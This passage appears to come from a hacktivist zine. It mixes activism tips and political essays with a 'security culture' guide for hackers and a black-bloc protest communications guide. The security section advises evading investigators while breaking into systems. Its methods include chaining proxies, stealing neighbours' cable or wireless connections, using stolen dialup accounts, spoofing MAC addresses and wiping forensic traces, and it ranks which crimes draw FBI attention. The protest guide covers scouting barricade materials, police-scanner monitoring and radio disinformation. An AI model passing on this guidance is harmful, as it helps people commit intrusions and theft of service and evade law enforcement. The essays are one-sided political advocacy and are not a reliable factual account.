media (broadcast, the phone company, coke, coffee shops, or the gym they all
advertise don't they?). Besides that, wouldn't you rather be living an adventure
of your own, instead of watching one unfold before you on a screen? Go shake
stuff up with your friends, meet new people, go on adventures, just please turn
```

the TV off.

2.) Fall in love

Yes this is an activist act. Some one in love has more to live for, more excitement, and more meaning in there life. Some one in love has less place in the corporal elite ranks and more in the living life for the moment spectrum. So fall in love today. fall in love with a guy, a girl, an activity, anything it really doesn't matter just find more to live for.

3.) Read a book

Especially books that make you question things around you, ones that get you to think. Books full of action, puzzles, mystery, tragedy, whatever its all good.

4.) Start conversations with strangers

Starting a conversation with some one you have never seen before in your life is a great exercise to break down the socialphobia that the system breeds us on. Also in the act of doing this you make the world a some what friendlier place to live in, by breaking down the social walls that keep us all isolated, distant, and forgotten. This alone is all we need to rekindle the flame of our communities.

5.) Use alternative transportation

Use public transportation whenever possible. Get some exercise by, riding a bike, jogging, walking, or skating. Either of these options will both break down some social barriers, conserve fossil fuels, keep you a healthier person.

6.) Go to local band/music shows

These are usually cheap and are jam packed with fun. What better way to get the community together, while having a good time listening to your favorite local band? If you do choose to go to these events, don't let them be a spectator sport. What I mean is please don't just stand around and stare at the bands. Get social, party, live it up, and shake things up a bit.

7.) Call in sick on a sunny day

Calling in sick on a sunny day is an exploit people simply don't take advantage of enough. Everyone deserves a day off every once in a while, and this would be the perfect time to go explore a part of your town you've never seen before, interact with new people, and just have fun.

8.) Let your artistic side out

Break free from your systematic lifestyle by writing a poem, sketching something up, writing song lyrics, composing music, or writing a story. Anything that gets the creative juices flowing and gets you thinking somewhat out of the norm.

9.) Spend less, Work less, live more

Buy only the absolute essentials you need to live. Make sure everything you buy, your buying it because you need it. Not because advertisers make you feel insecure to buy there product.. If you do this, then you will need less income. The less income you need the less you need to work. The less you need to work the more time you have to put your energy to something productive and fun you believe in.

10.) Get organized !

Organize meaningfull fun events in your neighborhood. Throw a community potluck. Have a community barbecue where everyone brings something. Organize spoken word, and music related events for people to come together and express themselves. Organize your own workers union if you don't have one. Organize charities, non-profit organizations, anything really. Start your own projects as long as you see them as a productive thing then thats really all that matters.

##
14. Security Culture: Hackers Living in an Age of FBI Repression
##

As our movement grows, so will the Establishment's attempts to stop us. They've been doing everything they can to gain power with so-called 'intelligence reforms' and 'anti-terrorism efforts'. These are pretty ways of passing legislation giving increased powers to law enforcement at the expense of civil liberties, setting up the blueprint for a police state in the USA. The attacks have already begun, as hackers and activists, we have to learn how to protect ourselves if we ever hope of stopping this madness once and for all.

What are we up against?

The effects of these efforts are very real, and organizations and individuals of our movement have already been targeted, raided, and charged with ridiculous crimes. Dozens of Independent Media Centers, one of the largest tools used by activists to announce events and expose the injustices and atrocities of corporations and government, has had it's machines seized under highly suspicious and secretive terms. Individual hackers such as Mike Wally aka Hairball of HBX Networks have a history of being harassed and raided by federal

authorities. Hack This Site founder Jeremy Hammond was also raided and charged with credit card fraud and unauthorized access related to hacking right-wing websites.

In the buildup to the Republican National Convention, the FBI, secret service, and local police have harassed and intimidated activists for being involved in the protest organizing efforts. Dozens of anarchists were visited and questioned about their affiliation with protest groups. Several activists were given 'round the clock' supervision where several agents were following them around. Meetings, email lists, and phone conversations were infiltrated and tapped by law enforcement for intelligence gathering purposes.

Over 1800 people were arrested at the convention protests themselves, including Emmanual Goldstein from 2600 and Jeremy Hammond from Hack This Site. Most were arrested randomly and given bogus 'disorderly conduct' charges for being 'suspected anarchists'. Dozens of people suffered severe beatings by police even at peaceful marches, and arrestees were held for much longer than the maximum 24 hours in the infamous 'Pier 57'(or 'Guantanamo on Hudson Bay') detainment warehouse where there were reports of asbestos and lead contamination.

We can protect ourselves!

We do not have to make it easy for them to target and harass us. Usually investigations come from slip ups or bad decisions, and if we ever want to pose any sort of serious threat to their power structure, we are going to have to develop a tight security culture. This has to extend to all aspects of our life, from using the internet, attending meetings, talking to reporters, participating in protests, to even checking out books at the library. Know your rights ahead of time. The best thing you can do is to be prepared in case the worst happens.

Becoming a ghost on the net

One of the first things you can do is learn to use the internet anonymously. Everything you do on the net is being monitored, from what websites you visit to the emails you send and receive. There are ways you can help make yourself anonymous on the net, but as a ground rule, do not use your home connection to talk about or do things you should not be doing. No matter how many boxes you are bouncing off of or what sort of encryption you're using, none of it will matter if you are being specifically targeted and monitored by the authorities because they get complete data dumps of all your internet activities at the ISP level.

First thing to do is to master the usage of proxy servers. When you make a connection to another machine on the net, it goes straight from your ISP to theirs, leaving a very obvious IP address in their server and router logs. By

using proxy servers, you can bounce your connection off of several anonymous boxes before connecting to the destination. When they examine the logs, they will find that it originated from some box set up as a proxy. Unless there is a large federal investigation, usually this will be enough to stop any sort of effort to track you down. The authorities will have to issue a court order to examine the proxy logs belonging to the box you bounced off of. By using proxies from other countries, this will make things considerably more difficult if not impossible because they will have to deal with international police organizations where they have no jurisdiction. There are also techniques you can use that allow you to bounce off of several proxies instead of just a single one that most operating systems allow you to use. While this will seriously hamper any efforts to track you down, it does not make it impossible with a large enough budget. Do not think you are secure if you are having fun from your home connection, even if you are bouncing off of several proxies.

Another technique you can use to better secure yourself would be using a technique called ssh tunnelling. Normally when you make a connection through http, pop3, aim, or anything else, the data is sent over the lines through plain text. Meaning someone can set up a packet sniffer on your local network or on any of the routers between your connection and the destination and pick up information like passwords, texts of email, etc. When you set up a SSH connection, data is sent over an encrypted path. You can configure your machine to use *any* service, even if it is plaintext, to tunnel through an ssh connection. You need to have an ssh account on some other machine, but once you get it set up it also acts like a proxy. Your computer will connect via ssh to your account on another server, and then to the destination machine. Setting up an SSH tunnel is as easy as a google search, but there are also applications you can download to automate the process.

The feds have all sorts of forensics tools for recovering data from your drives. Obviously just removing items from your recycling bin isn't going to cut it. The data is still there, just the initial headers of the file have been marked for free space so the operating system can use it when it saves files in the future. Even a standard drive formatting won't cut it when dealing with higher end forensics. There are all sorts of tools out there that can help by writing random data several times over portions of the drive, hopefully removing all magnetic traces of the file. Don't think hitting your computer with a baseball bat will stop them from getting your data. The fact is, if they want it, they could get it. The best bet for sensitive data is finding some sort of external storage such as floppy disks or mini USB flash drives that can be wiped easily and hidden in walls, buried in the backyard, etc. Also remember that most operating systems leave all sorts of undesirable trails in temporary locations. Make sure you clear your browser history, your form autocompletes, your cookies, your recent documents, your temporary internet files, your bash history, any stored usernames or passwords, etc. The best bet would be to make some sort of

linux livecd that you can boot to each time which will leave no pesky and incriminating information over your drive and the RAM will clear itself after the next boot.

These are all good measures to help make yourself anonymous but the fact is if you think you might be a target for harassment or if you're about to have some fun with a major corporation or government system, you should definitely employ these techniques in combination with USING A DIFFERENT INTERNET CONNECTION. There are dozens of public computers out there, including libraries, schools, cyber cafes, etc. It's also not too difficult to steal a cable connection from a neighbor, or to use a beige box and a stolen dialup account with your laptop. Of course, the easiest and most popular method would be to steal a wireless connection from some business or individual who had set up their wireless base station with a default or no username and password. There's no trace except for a MAC address which can be spoofed, and not many routers log this information anyway. Using several proxy servers from a stolen internet connection is your safest bet to become completely anonymous, as long as you don't do something dumb like checking your personal email account while breaking into a major system.

A note on 'anonymous proxies':

Just because you are accessing the internet behind a proxy server does not meen that you are anonymous or secure.

Browse with a proxy and go to whatismyip.com - not my home IP, I'm safe, right? No! In addition to having to worry whether a particular proxy is actually owned by federal agents to catch hackers, or whether the fact the proxy server logs all requests and will respond to a court order to hand over logs, most public proxy servers actually send your source IP address to the web server for logging purposes. X_Forwarded_For, which will sent your home IP to the server to be logged away!

Take a look yourself. Start netcat to listen on a port using a command similar to nc -l -v -p 8081, turn on a proxy, and try going to 123.456.789.0:8081 in your web browser replacing it with your home IP address. Assuming you aren't behind a router or firewall, you should see a complete dump of HTTP headers that is supplied by your browser as well as the proxy server. Notice that pesty X_Forwarded_For header that contains your home ip? If so, better find another proxy...

Apache and other web servers can be configured to log these additional HTTP headers. Is this a chance you're willing to take?

Loose Lips Sink Ships!

You can go through every effort to protect yourself as far as technology is concerned and loose everything because you said a few words you shouldn't have to the wrong people. No matter how tempting and juicy the secrets you have access to is, this information should not be shared with anyone unless they are directly involved. By talking openly about your actions you not only risk yourself but your friends, the websites you are involved with, your family, everything. Be careful of what names or websites are linked to on defaced websites. And don't go bragging to your buddies about your accomplishments, no matter how tempting it is. Zip it!

Especially if you are involved in activist circles, or you hang out on public and well-known hacking IRC channels, you will be dealing with people you don't know on a regular basis. You should feel comfortable in talking to these people, but always use a level of discretion when you talk specifics about actions. Especially be concerned when people who start asking questions they shouldn't be asking. Often times new people will say they are friends of other people. Make sure you check people out before you start including them in your plans. Not to say that you need to be private or closed off: if our movement is to grow, we need to be as inclusive as possible.

But the fact remains: there are indeed police and cop infiltrators who try to work their way into meetings to take things down. There are countless people who have signed confidential informant agreements and lurk on IRC channels and infiltrate meetings trying to find tips of people who may be breaking laws. There are also right-wing fascist groups with ties to government like ProtestWarrior.com, FreeRepublic.com, and KOBEHQ.com who troll on leftist or hacker message boards and chatrooms, trying to get people to incriminate themselves. To top it off, FBI agents themselves have been known to monitor public IRC channels. Do not walk into their hands!

So what triggers an investigation? As a rule, the FBI will not investigate a crime unless the damages total to over $10,000. It takes a lot of money to prepare an investigation with a search warrant and a criminal prosecution. Very rarely does this happen unless it involves the transfer of money or have to do with a large and influential corporation or government institution. So messing with credit cards, identity theft, or revealing sensitive data will likely yield an investigation while simple defacements(especially non-damaging ones) will not. Corporations and government institutions can fill out and submit a complaint form which will prompt a partial investigation to confirm that federal laws were broken, but a full blown investigation depends on the amount of damage done, and it usually comes down to money and who the individual or organization is. In order to get a search warrant, they need to have probable cause which is usually either specific evidence they have collected on you, or they have the

tip from an informant who says "I saw him do it!" or even "I heard him talk about it!". In order to have an arrest warrant, they need to prove to the US District Attorney that they have enough evidence to prosecute you.

Getting a Knock at the Door

Oh shit, what do I do? Don't panic. Things can only get worse if you freeze, get scared, or do something irrational. Keep calm and be firm about your rights. Often times federal agents will try to manipulate you into giving them information that they do not have. Sometimes they will just want to question you, in which case you have the right to refuse. If this is the case, it usually means that there isn't specific evidence but a tip or complaint that pointed things in your direction. If they had enough evidence for a search warrant or prosecution they would have done so already. Anything you say will and can only be used against you, so your best bet is to not talk to them at all. Sometimes they will ask ridiculous favors of you, like to turn in your friends, or to submit to electronic monitoring or a search. Of course, if they ask it means they cannot get the court orders to do it themselves. If they are able to do this on their own, they won't give you any warning, which means that if you have been contacted, assume you are being watched. Do NOT discuss ANYTHING with ANYONE over your home net connection, no matter how encrypted you think things are or how many proxies you are bouncing off of. DO NOT make it easier for them by consenting.

If they want to enter your house, do not let them in unless they present you with a search warrant. If they do, make sure it is properly filled out, your name, with the right address. And stay silent until you have an opportunity to talk to your family or a lawyer. Very often they will try to pull information out of you through scare tactics or telling you that you have no rights. They have the right to lie, and you don't. Do not interfere as they as they go about their business seizing your stuff as it will only make things worse. If you are arrested, do not resist as they can slap on extra charges. As you are being processed, do not give any sort of oral or written testimony as it can only be used against you. Do not say shit without a lawyer. Await an arraignment and hopefully you will be released, but more than likely a bond will be set and someone will have to come up with the money to bail you out. Make sure you make note of every small detail: who the arresting officer was, any sort of contradiction they made as they were filing an arrest report, any sort of irregularity with the search warrant, etc. as this can be used to suppress any evidence or testimony they try to use against you.

One of the first things federal agents will do is tell you that you are fucked and that they have everything they already need on you. They may even law it all out for you, telling you all those secrets that you thought no one else knew about, that you hoped that law enforcement would never catch on to your

scheming. They will say that it will be easier on you if you tell them everything. They will ask you to turn in their friends. Even if you know you are going to cooperate, this isn't the time to do it. Anything you say will be used against you. Do not answer questions without having a lawyer present, no matter what they tell you. If you have not been charged or arrested, it likely means that they do not have what they need on you and are trying to scare you into slipping up and incriminating yourself. Do not take the bait.

One of the most important points to understand about how the FBI gathers evidence and conducts their investigation is the distinction between what they know about you and what they are prepared to use against you in court. The FBI has startling capabilities in surveillance, and often evidence collected, no matter how incriminating it is, can often be suppressed on the grounds that the FBI acquired it illegally. They know this, so they will use what they do know about you to scare you into giving them incriminating statements

If you are indicted, and it looks like the trial isn't going to go your way, then in your lawyer's negotiations with the prosecuting attorney they will make it clear to you that it is in your best interest to cooperate with them. Cooperation is a very difficult decision you need to make and will have negative implications with whichever way you go. Often times the prosecuting attorney and the courts will cut your sentence from a third to even a half of your time if you cooperated with them and turned over your friends. Usually most cybercrime cases are not ruled guilty based on electronic evidence but on self-incriminating testimony or informants tipping off the feds. It happens time and time again, even to the best of us, when faced with a few decades in federal prison. If you do cooperate, they will want you to rat out everything all your friends have told you. They will want to know all their personal details so that they can try to track them down and prosecute them. They will likely also set you down with a machine and get you to talk to them to pull as much information as you can: personal details, admitting to crimes, etc. I won't make any suggestions as to what you should do as this is a controversial and deeply profound decision that will affect you for the rest of your life. Ultimately, there is no way to win a conversation with federal agents. Ratting on other hackers is the reason why most major hacking networks go down because it affects and can bring down everybody.

If they try to press charges, your best bet is to enter a not guilty plea because you can change it later and it will help with your lawyer's negotiations with the prosecuting attorney. They want a quick in and out conviction because it is cheap and efficient for them. The last thing they want is the idea of you fighting the charges, draining their resources and manpower. Unless they have absolutely nothing on you, or the charges are ridiculous, the best bet is to make some sort of plea bargain, where you will be offered a better deal by accepting lesser charges, hopefully being entered into probation, some sort of

adult work program, a small amount of jailtime and usually a fine. But don't give in right away. First wait until discovery is complete and you receive all the evidence that they are planning on using against you. This will help you in trying to figure out which charges to fight and what will help you in negotiating a settlement. Usually the whole process drags out for months and months and even years. Good! The longer it lasts in the court systems means the more money it costs them meaning the more willing they are about dropping the charges or making a better deal. Usually they will offer you several deals, and it only gets better and better after time. Relax: as long as you aren't doing anything stupid, things can't really get much worse. Recognize that once you have been pegged

Where do we go from here?

You might think that if we have to go through all these measures to protect ourselves, it's better to just give up on the scene altogether so we don't have to get involved with this legal nightmare. That's exactly what they want. Don't let their fear and intimidation tactics silence you into submission. They make an example out of a few people and blow these cases up in the media labelling us as terrorists so they can justify bigger budgets and hope that hundreds of hackers will lay down our arms and kill the movement. But it'll never happen. There's a reason why they invest billions of dollars and send the best machines they've got at trying to bust us. They know what we are capable of doing if we get organized. It only takes one person to bring down an empire.

If we let them scare us into not saying anything about these injustices, then we are allowing it to happen. The time is now to act. Stand up and defend our rights against an unjust government. We are everywhere, and they cannot stop us all. Get involved!

More Information about Security Culture and Digital Rights:

"Everything a Hacker Needs to Know about Getting Busted by the Feds"
http://www.grayarea.com/agsteal.html

"Searching and Seizing Computers and Obtaining Electronic Evidence in Criminal Investigations" usdoj.gov/criminal/cybercrime/searching.html

FreeJeremy.com
http://security.resist.ca
http://www.eff.org
http://www.indymedia.org
nocompromise.org/features/security.html

NO MORE COPS!
The need for police stems from two sources: one, from the State and corporate interests, which need some force to protect it's interests, and two, from the fear within our communities of interpersonal violence. The problem with police as they stand is that they serve this double purpose, fail to solve the latter problem, and remain a force outside the control of those they pretend to serve. As such they need to be abolished as an institution.

##
15. Police State USA and the Politics of Fear
##

Over the past few years the direction of the United States has undergone a series of sweeping changes which contradict and undermine the democratic foundations of the country. New government institutions, legislation, and multinational corporations are giving birth to a new age of a fascism of a capitalist kind. This is a direct result of the social and political context created out of the "War on Terrorism" and the agenda of the Bush administration. The Republican party deceived and subdued the American people into accepting corrupt policies using fear and the threat of terrorism. Unless we rise up to confront and topple this criminally abusive presidency, we will spiral down a self-destructive path that threatens the very stability of the planet.

Since 9/11 we have had passed a number of initiatives that has reorganized our nation's law enforcement at the cost of our civil liberties. Changes not only affect specific legislation or the creation of new institutions but the spirit of existing government agencies and how we go about treating both domestic and foreign politics. Not even a week after the attacks did congress pass the USA PATRIOT Act, a bill over 500 pages long that wasn't read or discussed by congress but strangely almost universally supported. While these policies are hidden under the guise of protecting the country from terrorist threats, we will find that they themselves destroy what this country stands for. We have also begun centralizing and restructuring law enforcement and intelligence agencies. The Homeland Security Department was formed to help share data and legal jurisdiction between different agencies including the FBI, CIA, NSA, DARPA, etc. In addition to collaborating the powers of each under a larger more powerful umbrella organization, much of the work being done is shrouded in secrecy in the name of national security.

In an effort to combat terrorism, a new agency was formed under DARPA called the Total Information Awareness program. The duties of TIA is to create a large database to collect and store every bit of data on every American citizen. This includes credit card histories, internet records(web sites, e-mails), phone lines, even the books you check out at the library. In addition, it would run crawler programs which would profile and flag individuals if they are a

"threat." The logo of this organization was a pyramid from the dollar bill overseeing the globe. To top it off, the person appointed to be director of this horrendous organization was John Poindexter, who under the Reagan administration was convicted of lying to congress, withholding evidence and conspiracy charges related to the Iran Contra affair where they secretly and illegally sold weapons to Iran to fund right wing dictators in Nicaragua. Now these people are being appointed to positions in federal agencies where they can spy on us.

In addition to sweeping domestic legislation, the US has begun shifting foreign policy in arrogantly destructive ways. Before the war in Iraq started, the US declared that its troops would not be held accountable through the International Criminal Court system. This essentially is a free ticket to rape, pillage and use all sorts of illegal weapons such as cluster bombs and chemical weapons such as depleted uranium without any fear of accountability. The US also withdrew from the Antiballistic Missile Treaty and began the buildup and research into nuclear arms once again. The US being the largest petroleum consumer on the planet was also the only country to reject the Kyoto protocol designed to cut down on emissions because "it would damage the economy". We have also started to use loopholes around Geneva Convention standards by calling prisoners "enemy combatants" instead of prisoners of war. Many people rounded up both from the US and abroad have been shipped to "Camp X-Ray" in Guantanamo Bay Cuba where it can practice all sorts of interrogation and torture techniques ranging from sleep and sensory deprivation to starvation, beatings, and electroshock therapy. There have been dozens of documented cases in camps in Iraq and Cuba of prisoner abuse, to the point of the CIA admitting themselves that they have begun shipping people overseas where they are not bound by their own laws. Despite controversy after controversy and several leaked memos of military leaders advocating the use of torture, the administration exists that these are exceptions rather than the rules in order to avoid any sort of administrative accountability.

As people begin to rise up and question the policies of the Bush administration, the government is starting to use these increased law enforcement abilities not to prevent international terrorism but to target and harass domestic protesters and dissidents.

Sherman Austin who ran RaiseTheFist.com faced surveillance and eventually was arrested and charged under provisions in the USA PATRIOT Act. This stems out of a post that someone else made in his message board system where a link was made to a web site that posted information about building bombs. Although he himself did not post or even host the information, he pled guilty to lesser charges to get out easy - only one year in federal prison. Not only is it constitutionally protected to spread the questionable materials no matter how controversial it is, bomb making instructions can be found in tens of thousands of places on the internet. The fact that he was charged and sentenced while others are ignored

further demonstrates that he was targeted for his politics rather than the accused crime itself.

"Security" at national protests have also become increasingly militarized where police are beating and arresting people with increased violence and less accountability. In the buildup to the Republican National Convention, major protest organizers came under intimidation by the FBI. Over fifty people were questioned and many were followed and had their homes searched. At the protests themselves, over 1800 people were arrested and held for several days. At the protests against the Free Trade Area of the Americas summit in Miami, riot police used tear gas, pepper spray, tasers and even rubber bullets to harass, intimidate, and beat protesters.

The idea is to publicly blur the line between terrorist and dissident in order to not only justify their oppressive policies but to crush dissent and opposition to their policies. These are not the actions of a free democratic nation. These should be warning signals that tyranny is coming and unless something is done to stop it the vicious cycle will get worse and worse.

The only way that the Bush administration is able to get away with passing these policies and not be held accountable for their corrupt actions is by ruling the people with fear. All of these unjust policies claim to protect the American people from foreign terrorist threat.

Immediately after 9/11, the Bush propaganda machine swung into motion. The Bush administration catered to the lowest common denominator by drawing upon the emotions surrounding the 9/11 terrorist attacks in order to whip up support for his policies. Names like the USA PATRIOT Act, the "War against Terrorism" and the "Axis of Evil" drew artificial polarities that not only encouraged people to support it by confusing the issue but also demonize the opposition. Never mind that the USA PATRIOT Act is contrary to the spirit of the bill of rights - you don't want to be unpatriotic, do you? To oppose the war on terrorism means you're working with the terrorists? The Republicans used powerful symbolism such as the American flag and tried to inspire a strong sense of nationalism in order to get people to blindly follow their policy recommendations. They made it seem that if you opposed the president and the war, you were against America. "You are either with us or against us."

The only way that they could get away with this legislation is by creating the artificial sense of urgency and threat. When they were trying to convince the American people to support the war, they used absolutist statements such as "Saddam is holding the world hostage with weapons of mass destruction" without providing any backing to their claims. They raised the Homeland Security terrorist threat level every time there was some controversy. They invent rumors such as Yellowcake Uranium. They talk about the evils of the enemy with the

hopes that it will frighten people into thinking irrationally, that there is a national crisis and only the government can protect them if only they gave up their rights and gave the Republicans absolute control.

It's a sinister game of scaring the American people into submission, harassing and intimidating the opposition, and making money for the rich and powerful. It is becoming increasingly clear who the real terrorists are. At the same time, more and more people are starting to see through the lies and propaganda and are speaking up and doing something about it. Unplug yourself from corporate media and start researching things yourself. Tune in to independent media and open publishing systems. Turn off the television and take to the streets!

##
16. Paradise Engineering, Political Change...by archaios
##

Utopianism, rooted in the primal desire for abrogation of mortality, is the foundation of the modern hedonistic imperative. Alluding to an unseen order, archetypal modern religion disavows such a notion, a philosophy closely aligned with 19th century, morally absolutist cautionaries. The egregious nature of such a crucial error is self-explanatory, scientific dogma proselytizing the ability to absolve man of His painful iniquities through what may be termed "paradise engineering", a much maligned concept as a direct result of such insidious works as Orwell's 1984 and Huxley's Brave New World. The failure of communism in the Soviet Union relinquishes all doubt that, without a concerted effort by the proletariat to debase the plutocratic capitalist oligarchy (ubiquitous in Western nations), Utopianism is bereft of rationale and the prevalation of archaic Judeo-Christian ideals is inevitable. The decidedly utilitarian basis of the consumerist society presented in Brave New World eviscerates the possibility of egalitarianism in its purest form, social order "the presupposed need of which delineates historical analogues" rooted in shades of apathetic totalitarianism. Impugning upon users of psychoactive substances the sin of "defiling God's temple", contemporary morality insinuates that although the next-generation of euphoric and empathogenic drugs are within reach, such indulgence is contrary to the notional social hierarchy and transcends the suffering that provides a theoretical basis for Christ's salvation. It is apparent that the hegemonic nature of monotheistic religion is counterintuitive, denouncing critique as "heretical" and eschewing the freedom to innovate; in spite of this, the gradual progression toward agnosticism is liable to discredit such stagnation and, ultimately, present an ideal social backdrop for the evolution of a neo-anarchistic Utopian society.

The insidiousness of Huxley's literary masterpiece exemplifies its origins: intended as satire, its literal interpretation decontextualises the warnings contained within, prolonging the Darwinian order that man has sought to

transcend for millenia. Nonetheless, its poignance serves as a prime example of the dangers of unchecked consumerism; far from catalysing expansion of consciousness, soma's one-dimensional "peak experience" illuminates the shallowness of existing psychoactives, most notably opioids, upon which (presumably) it was modelled, the throes of addiction and dependency characterising the lives of some in spite of the "perfection" of social order and stability. The catchcry of the novel - "community, identity, stability" - opens a Pandora's box, the seemingly benevolent despots responsible for the rigors of oppression now seen as culpable in the dystopic, purposeless lives of its inhabitants.The juxtaposition of the Reservation, demarcating the last remnants of humanity, with the technologically sophisticated Civilization, is in part responsible for the current attitudes toward mind-altering substances, inexorably (albeit unintentionally) altering the political landscape. Huxley's success in alienating his audience in a tactful manner has culminated in the widespread notion that suffering is inevitable, though the tools to obviate it are within reach.

Social unrest, evident throughout Western society, most pointedly as a high prevalence of mental illness, criminality and recidivism, manifests as a direct result of unchecked consumerism " far from the unrealistic idealism of Huxley and the paranoid speculation of Orwell, the oppression of the working class is readily apparent; the exploitation by the Military-Industrial-Entertainment complex of the desire to conform represents a grave injustice, gratuitously indoctrinating the masses and culminating in a cultural void. Is it, then, surprising to note the high rates of drug "abuse" as an escape from the throes of daily life?

The malaise of dysthymia impairs cognizance of the issues at the forefront of our civilization, resulting in the apathy and discontent that a significant number of youth now eulogize, the mantra of democratic society long-since forgotten. The speciousness of the arguments against "unnatural" hedonistic engineering are rooted in the technophobic prejudices of our aging population; far from necessitating a return to the values of yesteryear, outdated rationales for human suffering, postmodern society demands alterations unimaginable to the drug-naive consciousness.

The trial and tribulation of the outmoded Darwinian social order familiar to tropophobic segments of the populace are central to the postulate that the hedonistic imperative embodies a futuristic answer to the rationale of contemporary religious practices. Undeniably, the society presented in BNW embodies the epiphany of stagnation: devoid of scientific inquiry and tantamount to the state of existing third-world nations, this does not have to be so. Properly exercised, the duplicitous nature of psychoactives can be overcome; a prime example of this, Huxley's antipathy evolved in later life to drug-assisted paradise, Island documenting his personal triumph through the use of LSD and

mescaline. Typified as a retarding force for social change, that this is not so is exemplified through exploitation of serotonergic and dopaminergic euphoriants, an unorthodox if neurotoxic approach to the rigors of civilized life. Media stereotypes of crude psychopharmaceuticals present an unreliable overview of future accomplishments; from the arguments presented above, however, it is clear that continued research is necessitated for the maintenance of an stable, egalitarian population in deference to the libertarian dynamic.

Supplication of morality (i.e. the incumbence of an amoral populace) is far from an inevitability in the inertia-driven field of paradise engineering, combining behavioural neuroscience and molecular biology to achieve a common goal: that of a neo-utopian society, futuresque though this idea may seem. Indeed, it allows humanity to conquer akrasia (literally: "bad mixture") " that is, a character flaw of weakness whereby an agent is unable to perform an action s/he knows to be right, a common pathology in the criminal element. The impact of sociopathy would be nullified, enabling one to gain greater insight into human consciousness and the complex relationship between humans and psychoactives. The crude soporifics and mood-brighteners of yesteryear, responsible for much social decline in Australia and throughout modern Western society, will be supplanted by alternatives free of the stupefying insensibility as can be attributed to alcohol, should current trends continue. The ideological implications are grave, sounding the death knell for monotheistic belief systems and, indeed, Western society as it is currently known. Huxley's treatise, though antipathic to the ideas expicated in this essay, maintains a warning that must be borne, lest a nightmarishly Orwellian scenario ensue: stability does not equate to happiness and apathy is no substitute for the latter.

##
17. Communication and Info Gathering at a Protest   By alxCIAda
##

Where the black bloc goes the cops will not be far off. The cops almost always have an edge with their expensive radios, "less than lethal" weapons, all the intimidating riot gear you can dream of, and in most big cities enough personal to seriously outnumber the members of the bloc. One of the things that must be done to improve our effectiveness as a street fighting force and pose a bigger threat to the powers of the state, is work on our communication and information gathering skills prior and during an action.

Pre-Action Recon

Having scouts at an event is a very important thing to have. Scouts should be out patrolling at an event well before it starts. The cops are out well before daylight setting up for the action and so should we. Scouts should travel in groups of 2-3, never alone this will lower the risk of them being picked up.

Such recon groups might want to use bicycles to increase their mobility. Some things recon teams should look out for are possible police staging areas that are common to multi-story parking complexes, materials that could be used in the construction of barricades and road blocks. Also take note of cameras, dead ends, possible routes to use if you need to escape, most importantly make sure you wont get lost.

If you're not from the area a map will come in handy. If your maps include information on the days action you must encrypt them, the importance of this cannot be stressed enough. If the police were to get a hold of a map with out it being encrypted the entire days action could be spoiled. In fact it happened during the R2k action in Philadelphia when cops got a hold of two people leaving a black bloc meeting. They had with them maps of the days action which the cops discovered upon searching them. These maps were unencrypted and included the location of black bloc emergency gathering sites, as well as the areas that they were going to focus their activities on, and the location of supplies to be used in the creation of a road blocks. You can imagine what kind of damage this did to the days plans. Another tactic is to divide the locals up, so instead of working as a local contingent they can be treated as specialists and divided up between groups to share their knowledge of the area. This way they can help more people learn the land and if it comes to it escape with out being arrested.

Police Scanning

One thing all groups involved in the days action should have is a police scanner, they can provide much needed information about police movements and tactics. Before you go out to battle cops with your police scanner there are some things you should know. A very important subject you must look into are your local laws dealing with police scanning. In the USA it is legal to use a police scanner in your own home, it's when you hit the streets that they might be illegal. In some places like California, New Jersey, and Vermont you cannot use the device in furtherance of a crime, which depending on the days action could be pinned onto those using one in a bloc. In some of the other states possession of such devices is illegal for anyone with out a permit. For a list of state laws dealing with police scanning go to:
afn.org/~afn09444/scanlaws/scanner5.html

Another thing you must do is look up the codes your local PD uses, try and remember as many as you can, but most importantly you must be able to recognize a code that would be used to describe the activities that are planned throughout the days action. A good way to get the codes down is to use your scanner when your not under the pressure of police oppression. If it seems as though they are talking to fast for you to get everything they are saying, just write down bits and pieces that you do get and if you don't know what the codes they are using mean look them up. You should be familiar with the way the radio operators are

used to talking. No radio operator will ever talk using familiar conversation on the radio, they will use badge numbers, police codes, and a phonetic alphabet.

You should be able to understand what the officers are saying when they use a phonetic alphabet. The phonetic alphabet is used by communicators all over to clarify letters and spellings. When listening to the cops they will spell out peoples names, DOB, license plates, and pretty much everything else you can think of using a phonetic alphabet. A copy of the phonetic alphabet can be found at: hackbloc.org/alxciada/phonetic.txt

It's very important that you be discreet when using a scanner. It can easily make people think you are a cop or some kind of undercover not worthy of their trust. A good idea would be to keep it hidden and run a pair of head phones to it like a Walkman, this will also allow you to hear it a lot better as it can get pretty loud on the streets. MAKE SURE the cops don't see the scanner, for the person with the scanner will have to help move the bloc away from trouble. If the cops identify you as a someone important or taking a leadership role they will single you out and try and arrest you.

When the action starts the radio will be going off like crazy. In most cases of a break-away march away from a larger contingent catches the officers off guard. A common tactic of the police is to trap this group on a smaller side street circle them and make arrests. The person with the police scanner has to be aware of this and watch out for this being setup. Also listen to reports of people being arrested, get their names, DOB, and any info that you think can help their legal situation. Make sure if you're staying with the group that you keep on top of where the front of the group is and where the back is, the cops will announce this every few blocks. This is important to make sure that one part isn't falling behind of the others.

Other Communication Techniques

Walkie-Talkies should only be used if no other means of communication are available. Walkie-talkie can be monitored very easily, so all important messages should be encrypted. Things that relate to your tactics and positions should always be said using a code and if possible spread though other means besides radio. You do not need to encrypt everything, these radios can be used to spread messages like calling for a medic, telling the group to stick together, or that the police are attacking. Things like this that are not critical to your goal or that could hurt your bloc do not need to be encrypted and should be spread to as many people as possible to get the help you need. All those who plan on using a radio should have a one-time-use nick name that will conceal their identity when using the radio. Same goes for the code, you should change your code as often as possible. Obviously the downside of this is that the new code has to be taught to everyone but it will improve your chances of keeping your communications

secret. Another good trick is to send false info over the radio, say your going after one target while actually going to another. Make it seem like a slip up, maybe one member will announce a fake target and another will come on the air saying that this is not secure and no more talk about the target should be discussed. Maybe even send a small group in that direction as a distraction. This could allow you to catch the police off guard if the cops are listening in, it could buy you the time you need to make it to your real target unnoticed.

One idea that has been very effective in spreading tactical information is setting up a tactical short message system (SMS) mailing list to send e-mail updates to trusted members of the bloc's cell phones. It has worked very well at the Republican National Convention and the Democratic National Convention to spread tactical information to the different groups. Almost all cell phones have an e-mail address that you can send short text messages. This can be used to update your fellow freedom fighters with information dealing with police movements, or as an alterative to using 2 way walkie-talkie. Your phones e-mail address will be your 10 digit phone number @ and address based on your provider. An example for verizon cell phones it will be [10 digit phone number]@vtext.com. If you don't know what your phones e-mail address is here is a short list of common providers.

AT&T - @mobile.att.net
Cingular - @mobile.mycingular.com
Nextel - @messaging.nextel.com
Sprint - @messaging.sprintpcs.com
T-Mobile - @tmomail.net
Verizon - @vtext.com

